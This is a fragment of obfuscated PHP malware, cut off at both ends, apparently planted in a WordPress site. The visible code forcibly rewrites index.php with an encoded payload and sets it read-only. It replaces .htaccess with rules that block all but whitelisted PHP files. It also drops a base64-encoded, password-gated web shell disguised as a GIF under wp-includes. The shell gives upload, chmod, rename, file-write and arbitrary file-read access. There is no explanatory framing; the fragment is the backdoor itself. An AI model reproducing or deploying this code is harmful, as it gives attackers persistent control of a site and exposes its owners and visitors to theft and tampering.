Ut1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IH